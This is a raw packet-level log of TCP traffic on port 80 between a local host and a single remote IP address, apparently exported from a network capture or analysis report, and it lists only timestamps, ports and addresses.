Dec 23, 2024 08:53:20.335191011 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.335218906 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.335366964 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.384531021 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.392621994 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.392664909 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.392677069 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.392724037 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.392736912 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.392812967 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.392947912 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.392960072 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.392973900 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.392986059 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.392999887 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.393018007 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.393044949 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.393280983 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.393362045 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.393420935 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.393424988 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.393439054 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.393497944 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.393621922 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.393635035 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.393646955 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.393660069 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.393699884 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.393724918 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.393913984 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.393924952 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.393934011 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.394007921 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.459525108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.459556103 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.459568024 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.459676981 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.459680080 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.459712982 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.459726095 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.459747076 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.459775925 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.459912062 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460019112 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460031986 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460074902 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.460138083 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460180044 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.460190058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460202932 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460215092 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460239887 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.460499048 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460510969 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460521936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460577011 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.460608006 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.460701942 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460792065 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460803032 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.460849047 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.460998058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461011887 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461021900 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461034060 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461055040 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.461075068 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.461321115 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461333990 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461344957 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461358070 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461370945 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.461414099 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.461550951 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461596966 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.461675882 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461688995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461728096 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.461796999 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461867094 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461878061 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461889982 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.461919069 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.461946964 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.462212086 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.462224007 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.462233067 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.462244987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.462261915 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.462294102 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.462475061 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.462559938 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.462572098 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.462610960 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.462691069 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.462706089 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.462732077 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.462743044 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.462758064 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.462785006 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.463078976 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.463092089 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.463103056 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.463115931 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.463120937 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.463159084 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.463430882 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.463505983 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.463517904 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.463552952 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.463629007 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.463696957 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.463707924 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.463718891 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.463743925 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.463783979 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.464020014 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.464031935 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.464041948 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.464056015 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.464071035 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.464102983 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.464396000 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.464454889 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.464468002 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.464529991 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.464648008 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.464660883 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.464673996 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.464708090 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.464726925 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.464832067 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.509452105 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.526442051 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.526544094 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.526556015 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.526573896 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.526587009 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.526599884 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.526631117 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.526670933 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.526814938 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.526829004 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.526839972 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.526870012 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.527045965 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.527064085 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.527075052 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.527086973 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.527096987 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.527097940 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.527126074 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.527149916 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.527396917 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.527473927 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.527486086 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.527528048 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.527599096 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.527661085 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.527673960 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.527684927 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.527712107 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.527735949 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.584969044 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585016012 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585028887 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585079908 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.585149050 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585164070 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585175991 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585190058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585210085 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.585236073 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.585422039 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585437059 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585448980 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585462093 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585485935 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.585536003 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.585706949 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585721016 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585761070 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585771084 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.585773945 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585787058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.585832119 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.585833073 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.586117983 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.586131096 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.586174011 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.586245060 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.586256981 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.586267948 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.586311102 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.651998043 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652020931 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652034998 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652075052 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652089119 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652093887 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.652100086 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652189016 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.652189016 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.652221918 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652332067 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652345896 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652360916 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652391911 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.652434111 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.652475119 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652529955 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652545929 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652556896 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652569056 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652590036 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.652622938 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.652817011 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652889013 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.652916908 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652931929 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.652972937 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.653078079 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653090954 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653131962 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.653212070 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653224945 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653275967 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.653455973 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653469086 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653481960 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653495073 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653507948 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653513908 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.653542995 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.653793097 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653811932 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653850079 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.653899908 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653913975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.653944969 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.654124975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.654139042 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.654150963 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.654162884 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.654175043 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.654177904 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.654195070 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.654228926 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.654470921 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.654485941 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.654529095 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.654613972 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.654627085 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.654684067 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.654753923 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.654809952 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.654823065 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.654861927 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.655047894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655061960 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655073881 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655086040 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655096054 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.655127048 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.655311108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655371904 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655385971 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655399084 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655419111 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.655445099 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.655721903 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655822992 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655836105 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655872107 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.655899048 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.655942917 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655983925 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.655996084 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.656008005 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.656028032 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.656060934 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.656311035 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.656325102 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.656337976 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.656351089 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.656383038 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.656408072 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.656687021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.656755924 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.656769037 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.656822920 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.656900883 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.656949043 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.656955957 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.656970978 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.656982899 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.657016039 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.663286924 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.718914986 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.718961954 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.718976974 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719043016 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.719082117 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719096899 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719109058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719130039 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719146013 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.719171047 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.719361067 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719376087 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719388962 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719403028 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719453096 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.719453096 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.719659090 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719672918 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719716072 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.719731092 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719746113 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719758987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719772100 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719777107 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.719785929 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.719820023 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.719846964 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.720194101 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.720293045 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.720305920 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.720350027 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.775192022 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.777167082 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.777230978 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.777244091 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.777285099 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.777354956 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.777398109 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.777410030 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.777410030 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:20.777487993 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:20.777561903 CET	80	49777	185.215.113.16	192.168.2.9
